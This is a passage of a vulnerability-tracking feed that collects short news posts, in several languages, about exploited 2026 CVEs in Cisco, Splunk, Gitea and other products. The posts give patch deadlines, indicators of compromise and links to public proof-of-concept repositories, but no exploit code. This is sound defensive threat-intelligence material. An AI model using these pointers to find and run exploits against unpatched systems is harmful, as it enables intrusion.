"source": "https://t.me/information_security_channel/55466", "content": "Hackers Exploiting Cisco Unified CM Vulnerability\nhttps://www.securityweek.com/hackers-exploiting-cisco-unified-cm-vulnerability/\n\nCisco noted that a PoC had been available for CVE-2026-20230 when it announced patches in early June.\nThe post Hackers Exploiting Cisco Unified CM Vulnerability (https://www.securityweek.com/hackers-exploiting-cisco-unified-cm-vulnerability/) appeared first on SecurityWeek (https://www.securityweek.com/).", "creation_timestamp": "2026-07-16T00:00:08.130628Z"}, {"uuid": "0d0165b6-5f23-4460-a2de-2b98af837d46", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20253", "type": "exploited", "source": "https://t.me/information_security_channel/55441", "content": "Splunk Enterprise Vulnerability Exploited in Attacks Days After Disclosure\nhttps://www.securityweek.com/splunk-enterprise-vulnerability-exploited-in-attacks-days-after-disclosure/\n\nCISA has given federal agencies only three days to patch CVE-2026-20253, which can be exploited for unauthenticated remote code execution.\nThe post Splunk Enterprise Vulnerability Exploited in Attacks Days After Disclosure (https://www.securityweek.com/splunk-enterprise-vulnerability-exploited-in-attacks-days-after-disclosure/) appeared first on SecurityWeek (https://www.securityweek.com/).", "creation_timestamp": "2026-07-16T00:00:08.184910Z"}, {"uuid": "7bf5e6b1-424f-41b6-932a-1348cff855e9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20245", "type": "exploited", "source": "https://t.me/information_security_channel/55473", "content": "Cisco SD-WAN Zero-Day Exploited Months Before Patching\nhttps://www.securityweek.com/cisco-sd-wan-zero-day-exploited-months-before-patching/\n\nCVE-2026-20245, the 7th Cisco SD-WAN vulnerability exploited in 2026, was used for months prior to its disclosure and patching.\nThe post Cisco SD-WAN Zero-Day Exploited Months Before Patching (https://www.securityweek.com/cisco-sd-wan-zero-day-exploited-months-before-patching/) appeared first on SecurityWeek (https://www.securityweek.com/).", "creation_timestamp": "2026-07-16T00:00:08.721483Z"}, {"uuid": "7ebf7fac-671b-406a-9ce4-9d6a1fe97868", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20262", "type": "exploited", "source": "https://t.me/information_security_channel/55417", "content": "Cisco Patches Another SD-WAN Zero-Day Exploited in Attacks\nhttps://www.securityweek.com/cisco-patches-another-sd-wan-zero-day-exploited-in-attacks/\n\nCisco recently became aware of the exploitation of CVE-2026-20262, a Catalyst SD-WAN Manager zero-day that allows arbitrary file write.\nThe post Cisco Patches Another SD-WAN Zero-Day Exploited in Attacks (https://www.securityweek.com/cisco-patches-another-sd-wan-zero-day-exploited-in-attacks/) appeared first on SecurityWeek (https://www.securityweek.com/).", "creation_timestamp": "2026-07-16T00:00:08.235795Z"}, {"uuid": "5bedafd2-62f2-4b8b-9b9e-4166440bb8ca", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20245", "type": "exploited", "source": "https://t.me/thehackernews/9165", "content": "\ud83d\udea8 New Cisco SD-WAN vulnerability under active exploitation.\n\nCVE-2026-20245 lets authenticated netadmin attackers run commands as root via crafted file uploads.\n\nNo patches or mitigations are available.\n\nCheck /var/log/scripts.log for IoCs.\n\nRead: https://thehackernews.com/2026/06/cisco-catalyst-sd-wan-manager-cve-2026.html", "creation_timestamp": "2026-07-16T00:00:09.096000Z"}, {"uuid": "dc406092-0edc-457e-9f9a-533f4655040c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20245", "type": "exploited", "source": "https://t.me/thehackernews/9319", "content": "\u26a0\ufe0f Attackers exploited a #Cisco SD-WAN flaw before it was public.\n\nMandiant says CVE-2026-20245 was used as a zero-day to turn admin access into root control.\n\nThey also restored configs, deleted traces, and hid a rogue \u201ctroot\u201d account.\n\nRead \ud83e\udc16 https://thehackernews.com/2026/06/cisco-catalyst-sd-wan-zero-day-cve-2026.html", "creation_timestamp": "2026-07-16T00:00:10.530904Z"}, {"uuid": "6996069e-433d-421e-a56c-97ef6e05283f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20896", "type": "exploited", "source": "https://t.me/information_security_channel/55535", "content": "Critical Gitea Flaw Under Active Exploitation, Researchers Warn\nhttps://www.securityweek.com/critical-gitea-flaw-under-active-exploitation-researchers-warn/\n\nAttackers are exploiting the critical Gitea vulnerability CVE-2026-20896 to bypass authentication with a single HTTP header and access vulnerable repositories and secrets.\nThe post Critical Gitea Flaw Under Active Exploitation, Researchers Warn (https://www.securityweek.com/critical-gitea-flaw-under-active-exploitation-researchers-warn/) appeared first on SecurityWeek (https://www.securityweek.com/).", "creation_timestamp": "2026-07-16T00:00:08.523982Z"}, {"uuid": "07ba0bfe-f067-4a3f-ac89-012d5fa5585b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20262", "type": "exploited", "source": "https://t.me/thehackernews/9251", "content": "\u26a0\ufe0f Cisco has released patches for a Catalyst SD-WAN Manager flaw now exploited in the wild.\n\nCVE-2026-20262 lets an authenticated attacker with write access create or overwrite files on affected systems.\n\nCisco says exploitation is limited, but CISA added it to KEV and set a June 29 patch deadline.\n\nRead: https://thehackernews.com/2026/06/cisco-releases-security-updates-for.html", "creation_timestamp": "2026-07-16T00:00:09.992584Z"}, {"uuid": "960b7d94-9266-44ba-a368-7d79f1b6ce6d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20230", "type": "published-proof-of-concept", "source": "https://t.me/thehackernews/9156", "content": "\ud83d\udea8 No auth required ... a crafted web request to Cisco Unified CM can write files to the OS and open a path to root.\n\nCVE-2026-20230 patch is out, PoC exploit is public, and no attacks yet. Only bites if WebDialer is ON.\n\nFix: 14SU6 / COP / 15SU5, or kill WebDialer. \n\nRead: https://thehackernews.com/2026/06/cisco-patches-cve-2026-20230-in-unified.html", "creation_timestamp": "2026-07-16T00:00:09.138135Z"}, {"uuid": "1c5740e4-d791-4c3d-8e27-743501d21682", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20230", "type": "exploited", "source": "https://t.me/thehackernews/9343", "content": "CISA just added a Cisco Unified CM flaw to its exploited bugs list.\n\nDefused Cyber says CVE-2026-20230 is being exploited from a single source using an unvetted PoC.\n\nThe bug can allow unauthenticated SSRF and file writes when WebDialer is enabled.\n\nThe technical trail is here: https://thehackernews.com/2026/06/cisco-unified-cm-flaw-exploited-after.html", "creation_timestamp": "2026-07-16T00:00:10.767329Z"}, {"uuid": "0acb31f8-050d-4902-9169-d85ac6d50169", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20253", "type": "published-proof-of-concept", "source": "https://t.me/thehackernews/9233", "content": "\ud83d\udea8 ALERT - A critical Splunk Enterprise flaw can go from \u201cno login required\u201d to remote code execution.\n\nTracked as CVE-2026-20253, the bug carries a 9.8 CVSS score and affects vulnerable Splunk Enterprise servers through exposed PostgreSQL sidecar endpoints.\n\nThe exploit chain is now public.\n\nRead the full story: https://thehackernews.com/2026/06/critical-splunk-enterprise-flaw-lets.html", "creation_timestamp": "2026-07-16T00:00:10.106361Z"}, {"uuid": "5506c64e-1029-4f47-81ff-c32b99c621cb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20253", "type": "exploited", "source": "https://t.me/thehackernews/9279", "content": "This Splunk flaw is no longer just theoretical.\n\nSplunk says it is aware of limited exploitation of CVE-2026-20253.\n\nCISA has added it to KEV, giving federal agencies until June 21, 2026 to patch.\n\nUpgrade now.\n\nRead the update: https://thehackernews.com/2026/06/critical-splunk-enterprise-flaw-lets.html", "creation_timestamp": "2026-07-16T00:00:10.268337Z"}, {"uuid": "17cc93dc-57e0-4743-a6d9-32615bf528d4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20230", "type": "exploited", "source": "https://t.me/thehackernews/9314", "content": "\ud83d\uded1 Cisco Unified CM admins should check WebDialer now.\n\nCVE-2026-20230 is being exploited, and vulnerable WebDialer-enabled systems can be abused by unauthenticated attackers to write files.\n\nCisco patched it in 14SU6 and 15SU5.\n\nRead: https://thehackernews.com/2026/06/cisco-unified-cm-flaw-exploited-after.html", "creation_timestamp": "2026-07-16T00:00:10.568915Z"}, {"uuid": "cb5465d7-2d40-460f-ab83-e76b03050999", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20245", "type": "exploited", "source": "https://t.me/HackerNewscyber/3061", "content": "\u2708\ufe0f\u0622\u0633\u06cc\u0628\u200c\u067e\u0630\u06cc\u0631\u06cc \u062c\u062f\u06cc\u062f \u0633\u06cc\u0633\u06a9\u0648 \u0647\u062f\u0641 \u062d\u0645\u0644\u0627\u062a \u0641\u0639\u0627\u0644 \u0633\u0627\u06cc\u0628\u0631\u06cc \u0642\u0631\u0627\u0631 \u06af\u0631\u0641\u062a\n\n\ud83c\udfa4\u0634\u0631\u06a9\u062a \u0633\u06cc\u0633\u06a9\u0648 \u0646\u0633\u0628\u062a \u0628\u0647 \u0633\u0648\u0621\u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u0641\u0639\u0627\u0644 \u0627\u0632 \u06cc\u06a9 \u0622\u0633\u06cc\u0628\u200c\u067e\u0630\u06cc\u0631\u06cc \u067e\u0631\u062e\u0637\u0631 \u062f\u0631 \u0633\u0627\u0645\u0627\u0646\u0647 Catalyst SD-WAN Manager \u0647\u0634\u062f\u0627\u0631 \u062f\u0627\u062f. \u0627\u06cc\u0646 \u0646\u0642\u0635 \u0627\u0645\u0646\u06cc\u062a\u06cc \u06a9\u0647 \u0628\u0627 \u0634\u0646\u0627\u0633\u0647 CVE-2026-20245 \u0631\u062f\u06cc\u0627\u0628\u06cc \u0645\u06cc\u200c\u0634\u0648\u062f\u060c \u0628\u0647 \u0645\u0647\u0627\u062c\u0645\u0627\u0646 \u062f\u0627\u0631\u0627\u06cc \u062f\u0633\u062a\u0631\u0633\u06cc \u0645\u062f\u06cc\u0631\u06cc\u062a\u06cc \u0627\u062c\u0627\u0632\u0647 \u0645\u06cc\u200c\u062f\u0647\u062f \u062f\u0633\u062a\u0648\u0631\u0627\u062a \u062f\u0644\u062e\u0648\u0627\u0647 \u0631\u0627 \u0628\u0627 \u0633\u0637\u062d \u062f\u0633\u062a\u0631\u0633\u06cc \u0631\u06cc\u0634\u0647 (Root) \u0631\u0648\u06cc \u0633\u06cc\u0633\u062a\u0645 \u0627\u062c\u0631\u0627 \u06a9\u0646\u0646\u062f.\n\n\ud83c\udfa4\u0628\u0647 \u06af\u0641\u062a\u0647 \u0633\u06cc\u0633\u06a9\u0648\u060c \u0645\u0647\u0627\u062c\u0645\u0627\u0646 \u0628\u0627 \u0628\u0627\u0631\u06af\u0630\u0627\u0631\u06cc \u0641\u0627\u06cc\u0644\u200c\u0647\u0627\u06cc \u0645\u062e\u0631\u0628 \u0645\u06cc\u200c\u062a\u0648\u0627\u0646\u0646\u062f \u0627\u0632 \u0627\u06cc\u0646 \u0636\u0639\u0641 \u0628\u0631\u0627\u06cc \u0627\u0641\u0632\u0627\u06cc\u0634 \u0633\u0637\u062d \u062f\u0633\u062a\u0631\u0633\u06cc \u0648 \u062a\u063a\u06cc\u06cc\u0631 \u067e\u06cc\u06a9\u0631\u0628\u0646\u062f\u06cc \u062a\u062c\u0647\u06cc\u0632\u0627\u062a \u0634\u0628\u06a9\u0647 \u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u06a9\u0646\u0646\u062f. \u062a\u0627\u06a9\u0646\u0648\u0646 \u0647\u06cc\u0686 \u0648\u0635\u0644\u0647 \u0627\u0645\u0646\u06cc\u062a\u06cc \u06cc\u0627 \u0631\u0627\u0647\u06a9\u0627\u0631 \u06a9\u0627\u0647\u0634 \u062e\u0637\u0631 \u0628\u0631\u0627\u06cc \u0627\u06cc\u0646 \u0622\u0633\u06cc\u0628\u200c\u067e\u0630\u06cc\u0631\u06cc \u0645\u0646\u062a\u0634\u0631 \u0646\u0634\u062f\u0647 \u0648 \u06a9\u0627\u0631\u0628\u0631\u0627\u0646 \u062a\u0648\u0635\u06cc\u0647 \u0634\u062f\u0647\u200c\u0627\u0646\u062f \u0633\u06cc\u0633\u062a\u0645\u200c\u0647\u0627\u06cc \u062e\u0648\u062f \u0631\u0627 \u062f\u0631 \u0628\u0631\u0627\u0628\u0631 \u0633\u0627\u06cc\u0631 \u0636\u0639\u0641\u200c\u0647\u0627\u06cc \u0634\u0646\u0627\u062e\u062a\u0647\u200c\u0634\u062f\u0647 \u0645\u0631\u062a\u0628\u0637 \u0628\u0647\u200c\u0631\u0648\u0632 \u0646\u06af\u0647 \u062f\u0627\u0631\u0646\u062f.\n\n\ud83c\udfa4\u0627\u06cc\u0646 \u0647\u0641\u062a\u0645\u06cc\u0646 \u0622\u0633\u06cc\u0628\u200c\u067e\u0630\u06cc\u0631\u06cc \u0641\u0639\u0627\u0644 \u0645\u0648\u0631\u062f \u0633\u0648\u0621\u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u062f\u0631 \u0645\u062d\u0635\u0648\u0644\u0627\u062a SD-WAN \u0633\u06cc\u0633\u06a9\u0648 \u0627\u0632 \u0627\u0628\u062a\u062f\u0627\u06cc \u0633\u0627\u0644 \u062c\u0627\u0631\u06cc \u0645\u06cc\u0644\u0627\u062f\u06cc \u0628\u0647 \u0634\u0645\u0627\u0631 \u0645\u06cc\u200c\u0631\u0648\u062f.\n\n\u2708\ufe0f@HackerNewsCyber", "creation_timestamp": "2026-07-16T00:00:11.045545Z"}, {"uuid": "7032ab5e-0ec0-4a7a-b4b8-6742bc3ade35", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20262", "type": "exploited", "source": "https://t.me/HackerNewscyber/3111", "content": "\u2708\ufe0f\u0647\u0634\u062f\u0627\u0631 \u0633\u06cc\u0633\u06a9\u0648 \u062f\u0631\u0628\u0627\u0631\u0647 \u0628\u0647\u0631\u0647\u200c\u0628\u0631\u062f\u0627\u0631\u06cc \u0641\u0639\u0627\u0644 \u0627\u0632 \u0622\u0633\u06cc\u0628\u200c\u067e\u0630\u06cc\u0631\u06cc \nCatalyst SD-WAN\n\ud83c\udfa4 \u0634\u0631\u06a9\u062a \u0633\u06cc\u0633\u06a9\u0648 \u0627\u0639\u0644\u0627\u0645 \u06a9\u0631\u062f \u0622\u0633\u06cc\u0628\u200c\u067e\u0630\u06cc\u0631\u06cc CVE-2026-20262 \u062f\u0631 \u0645\u062d\u0635\u0648\u0644 Catalyst SD-WAN Manager \u0628\u0647\u200c\u0637\u0648\u0631 \u0641\u0639\u0627\u0644 \u062a\u0648\u0633\u0637 \u0645\u0647\u0627\u062c\u0645\u0627\u0646 \u0645\u0648\u0631\u062f \u0633\u0648\u0621\u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u0642\u0631\u0627\u0631 \u0645\u06cc\u200c\u06af\u06cc\u0631\u062f.\n\n\ud83c\udfa5 \u0627\u06cc\u0646 \u0646\u0642\u0635 \u0628\u0647 \u0645\u0647\u0627\u062c\u0645\u0627\u0646 \u062f\u0627\u0631\u0627\u06cc \u062f\u0633\u062a\u0631\u0633\u06cc \u0645\u062d\u062f\u0648\u062f \u0627\u062c\u0627\u0632\u0647 \u0645\u06cc\u200c\u062f\u0647\u062f \u0641\u0627\u06cc\u0644\u200c\u0647\u0627\u06cc \u062f\u0644\u062e\u0648\u0627\u0647 \u0631\u0627 \u0631\u0648\u06cc \u0633\u06cc\u0633\u062a\u0645 \u0627\u06cc\u062c\u0627\u062f \u06cc\u0627 \u0628\u0627\u0632\u0646\u0648\u06cc\u0633\u06cc \u06a9\u0646\u0646\u062f \u0648 \u062f\u0631 \u0627\u062f\u0627\u0645\u0647 \u0628\u0647 \u0633\u0637\u062d \u062f\u0633\u062a\u0631\u0633\u06cc \u0631\u06cc\u0634\u0647 (Root) \u062f\u0633\u062a \u06cc\u0627\u0628\u0646\u062f. \u0628\u0647\u200c\u062f\u0644\u06cc\u0644 \u0645\u0634\u0627\u0647\u062f\u0647 \u062d\u0645\u0644\u0627\u062a \u0648\u0627\u0642\u0639\u06cc\u060c \u0633\u0627\u0632\u0645\u0627\u0646 CISA \u0627\u06cc\u0646 \u0622\u0633\u06cc\u0628\u200c\u067e\u0630\u06cc\u0631\u06cc \u0631\u0627 \u0628\u0647 \u0641\u0647\u0631\u0633\u062a \u0622\u0633\u06cc\u0628\u200c\u067e\u0630\u06cc\u0631\u06cc\u200c\u0647\u0627\u06cc \u062f\u0631 \u062d\u0627\u0644 \u0628\u0647\u0631\u0647\u200c\u0628\u0631\u062f\u0627\u0631\u06cc (KEV) \u0627\u0636\u0627\u0641\u0647 \u06a9\u0631\u062f\u0647 \u0648 \u0627\u0632 \u0633\u0627\u0632\u0645\u0627\u0646\u200c\u0647\u0627 \u062e\u0648\u0627\u0633\u062a\u0647 \u0627\u0633\u062a \u0647\u0631\u0686\u0647 \u0633\u0631\u06cc\u0639\u200c\u062a\u0631 \u0648\u0635\u0644\u0647\u200c\u0647\u0627\u06cc \u0627\u0645\u0646\u06cc\u062a\u06cc \u0631\u0627 \u0646\u0635\u0628 \u06a9\u0646\u0646\u062f.\n\n \u2708\ufe0f@HackerNewsCyber", "creation_timestamp": "2026-07-16T00:00:11.207184Z"}, {"uuid": "86fe0ab4-53c3-4e98-a22b-1f3c7484284a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20896", "type": "exploited", "source": "https://t.me/thehackernews/9422", "content": "\ud83d\udea8 CVE-2026-20896 saw its first in-the-wild attempt 13 days after disclosure.\n\nThe Gitea Docker flaw lets reachable containers trust spoofed X-WEBAUTH-USER headers when reverse proxy auth is enabled.\n\nSee which setups are exposed and where the probe stopped: https://thehackernews.com/2026/07/threat-actors-probe-gitea-docker-flaw.html", "creation_timestamp": "2026-07-16T00:00:19.731481Z"}, {"uuid": "fac4d8cb-6e8d-47f2-b608-a3ad40eb136a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20153", "type": "seen", "source": "https://infosec.exchange/users/vuldb/statuses/116926745966884527", "content": "We have just added an important vulnerability affecting Cisco RoomOS (CVE-2026-20153) https://vuldb.com/vuln/379320", "creation_timestamp": "2026-07-16T00:09:12.912046Z"}, {"uuid": "9ac8c4f6-cdf8-4713-a498-6d9f5b4dcfdc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20156", "type": "seen", "source": "https://infosec.exchange/users/vuldb/statuses/116926799807904548", "content": "A new vulnerability with increased severity was disclosed for Cisco RoomOS (CVE-2026-20156) https://vuldb.com/vuln/379317", "creation_timestamp": "2026-07-16T00:22:54.437064Z"}, {"uuid": "8df60f0c-d4dd-43a1-8265-3f01ae837f57", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20296", "type": "seen", "source": "https://bsky.app/profile/securityonline.bsky.social/post/3mqq5vdvydd2i", "content": "Splunk patched three Splunk Enterprise vulnerabilities: CVE-2026-20296 CSRF, CVE-2026-20297 path traversal, and CVE-2026-20298 credential exposure.\n\n#Splunk #CVE202620296 #CSRF #Vulnerability #InfoSec", "creation_timestamp": "2026-07-16T02:11:53.185676Z"}, {"uuid": "9689ebe3-4b0b-4cd9-981f-8ea091be28d0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20297", "type": "seen", "source": "https://bsky.app/profile/securityonline.bsky.social/post/3mqq5vdvydd2i", "content": "Splunk patched three Splunk Enterprise vulnerabilities: CVE-2026-20296 CSRF, CVE-2026-20297 path traversal, and CVE-2026-20298 credential exposure.\n\n#Splunk #CVE202620296 #CSRF #Vulnerability #InfoSec", "creation_timestamp": "2026-07-16T02:11:53.255204Z"}, {"uuid": "04e1c84d-d7e7-43c2-848b-c5a8a03a58ef", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20298", "type": "seen", "source": "https://bsky.app/profile/securityonline.bsky.social/post/3mqq5vdvydd2i", "content": "Splunk patched three Splunk Enterprise vulnerabilities: CVE-2026-20296 CSRF, CVE-2026-20297 path traversal, and CVE-2026-20298 credential exposure.\n\n#Splunk #CVE202620296 #CSRF #Vulnerability #InfoSec", "creation_timestamp": "2026-07-16T02:11:53.306515Z"}, {"uuid": "acb12672-dfba-470d-81fc-ee9c0a5a7c05", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20262", "type": "seen", "source": "https://bsky.app/profile/pmloik.bsky.social/post/3mqqgcrdq6x27", "content": "Top 3 CVE for last 7 days:\nCVE-2026-43499: 23 interactions\nCVE-2026-15409: 17 interactions\nCVE-2026-20262: 14 interactions\n\n\nTop 3 CVE for yesterday:\nCVE-2026-15409: 15 interactions\nCVE-2026-15410: 8 interactions\nCVE-2026-1541: 6 interactions\n", "creation_timestamp": "2026-07-16T04:42:33.100731Z"}, {"uuid": "d371be89-4205-4467-8ece-53e98e908968", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20296", "type": "seen", "source": "https://bsky.app/profile/kitafox.bsky.social/post/3mqqm5fzspk2t", "content": "Splunk\u304cCVE-2026-20296 CSRF\u8106\u5f31\u6027\u3092\u542b\u30803\u3064\u306eSplunk Enterprise\u306e\u8106\u5f31\u6027\u3092\u4fee\u6b63 \n\nSplunk Fixes Three Splunk Enterprise Vulnerabilities Led by CVE-2026-20296 CSRF Flaw  #DailyCyberSecurity (Jul 16)\n\nsecurityonline.info/splunk-enter...", "creation_timestamp": "2026-07-16T06:26:56.042648Z"}, {"uuid": "32e04924-f6c6-4628-aeaa-326490895448", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20841", "type": "published-proof-of-concept", "source": "https://t.me/CyberSecurityExploit/17066", "content": "\u26a0\ufe0f CVE / ZERO-DAY\n\ud83d\udd25 New GitHub PoC CVE \u2013 Research Picks (Today / Fresh Only)\nBelow are fresh CVE PoC repositories actively updated or recently surfaced on GitHub, selected to avoid duplicates and outdated entries.\n\n1\ufe0f\u20e3 CVE-2026-20841\n\ud83c\udfaf Windows Notepad \u2013 Potential RCE (PoC)\n\n\ud83d\udd17 PoC Repository\nhttps://github.com/BTtea/CVE-2026-20841-PoC\n\n\ud83e\udde0 Overview\nA Proof-of-Concept targeting Windows Notepad (< 11.2510) demonstrates a possible remote code execution scenario through crafted input handling.\n\n\u2699\ufe0f Impact\n\u2022 Potential RCE vector\n\u2022 Local exploitation scenario\n\u2022 Early-stage PoC (research-focused)\n\n\u2796\u2796\u2796\u2796\u2796\n\n2\ufe0f\u20e3 CVE-2026-28292\n\ud83c\udfaf simple-git (Node.js) \u2013 Remote Code Execution\n\n\ud83e\udde0 Overview\nA critical vulnerability in the widely used simple-git library allows attackers to achieve remote code execution due to improper case-sensitive validation in security logic.\nA single missing regex flag allows bypass of previous security patches.\n\n\u2699\ufe0f Impact\n\u2022 Remote code execution\n\u2022 Patch bypass\n\u2022 Affects millions of installations\n\n\u2796\u2796\u2796\u2796\u2796\n\n3\ufe0f\u20e3 CVE-2026-29000\n\ud83c\udfaf pac4j-jwt \u2013 Authentication Bypass (CVSS 10)\n\n\ud83e\udde0 Overview\nA critical flaw in pac4j-jwt allows attackers to forge authentication tokens using only a public key, enabling full account takeover.\n\n\u2699\ufe0f Impact\n\u2022 Authentication bypass\n\u2022 Admin account takeover\n\u2022 CVSS 10.0 Critical\n\n\u2796\u2796\u2796\u2796\u2796\n\n4\ufe0f\u20e3 CVE-2026-21858\n\ud83c\udfaf n8n Workflow \u2013 Critical Vulnerability Detection / Exploit Path\n\n\ud83d\udd17 GitHub Topic\nhttps://github.com/topics/cve-2026-21858\n\n\ud83e\udde0 Overview\nA critical vulnerability affecting n8n workflow automation platforms, with tools and PoC-related detection scripts available on GitHub.\n\n\u2699\ufe0f Impact\n\u2022 Workflow compromise\n\u2022 Automation abuse\n\u2022 CVSS 10.0\n\n\u2796\u2796\u2796\u2796\u2796\n\n5\ufe0f\u20e3 CVE-2026-XXXX (Fresh Aggregated PoC Stream)\n\ud83c\udfaf Live GitHub PoC Feed (Auto-Collected CVEs)\n\n\ud83d\udd17 Repository\nhttps://github.com/nomi-sec/PoC-in-GitHub\n\n\ud83e\udde0 Overview\nThis repository continuously collects newly published CVE PoCs across GitHub, making it one of the most reliable sources for real-time vulnerability tracking.\n\n\u2699\ufe0f Impact\n\u2022 Continuous PoC discovery\n\u2022 Daily vulnerability tracking\n\u2022 Research automation source\n\n\u2796\u2796\u2796\u2796\u2796\n\n\ud83d\udcda Research Value\nThese entries are useful for:\n\u2022 Tracking real PoC release timing\n\u2022 Studying patch bypass techniques\n\u2022 Monitoring emerging exploit trends\n\u2022 Building automated CVE intelligence pipelines\n\n\u26a0\ufe0f Ethical Notice\nThis information is shared for cybersecurity research and defensive analysis only.\nDo not use vulnerability research for illegal activities.\n\n\ud83e\udde0 Cyber Security Exploit Research Community\nMalware Analysis | Reverse Engineering | CVE Research | Threat Intelligence\n\n\u2796\u2796\u2796\u2796\u2796\u2796\u2796\u2796\u2796\u2796\n\n\ud83d\udd10 Cyber Security Exploit Community\nTelegram Group\nhttps://t.me/Cyber_Security_Exploit\n\nTelegram Channel\nhttps://t.me/CyberSecurityExploit\n\nResearch \u2022 Ethical Hacking \u2022 Red Team", "creation_timestamp": "2026-08-28T00:00:08.739287Z"}, {"uuid": "823b1f95-ca6f-440d-abea-3c9d93fcd4ca", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20884", "type": "seen", "source": "https://bsky.app/profile/stackflag.bsky.social/post/3mttkyunwcv2e", "content": "CVE-2026-20884 - rootio-libraw\nA security patch has been released for rootio-libraw, a library used for image processing on Root systems. If left unpatched, an attacker could potentially exploit\u2026\n\nToo many irrelevant or confusing CVEs? Use stackflag.com\n\n#rootiolibraw #RootDebian13 #CVE #infosec", "creation_timestamp": "2026-08-24T15:00:04.000072Z"}, {"uuid": "83416844-2d38-44e8-842a-f5ddd329dc4b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20182", "type": "exploited", "source": "https://t.me/CyberDispatch/1621", "content": "CISA added CVE-2026-20182, a CVSS 10.0 authentication bypass in Cisco Catalyst SD-WAN Controller, to its KEV catalog amid active exploitation.", "creation_timestamp": "2026-08-31T00:00:37.575732Z"}, {"uuid": "7ad7ad26-548c-41ed-ac54-83570ab86b64", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20687", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/99989", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #POC\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a CVE-2026-20687-AppleJPEGDriver-UAF\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a 0xjohnnydev\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Objective-C\n\u2b50 Star\u6570\u91cf\uff1a 19  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 3\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-08-27 16:43:17\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nCVE-2026-20687: AppleJPEGDriver 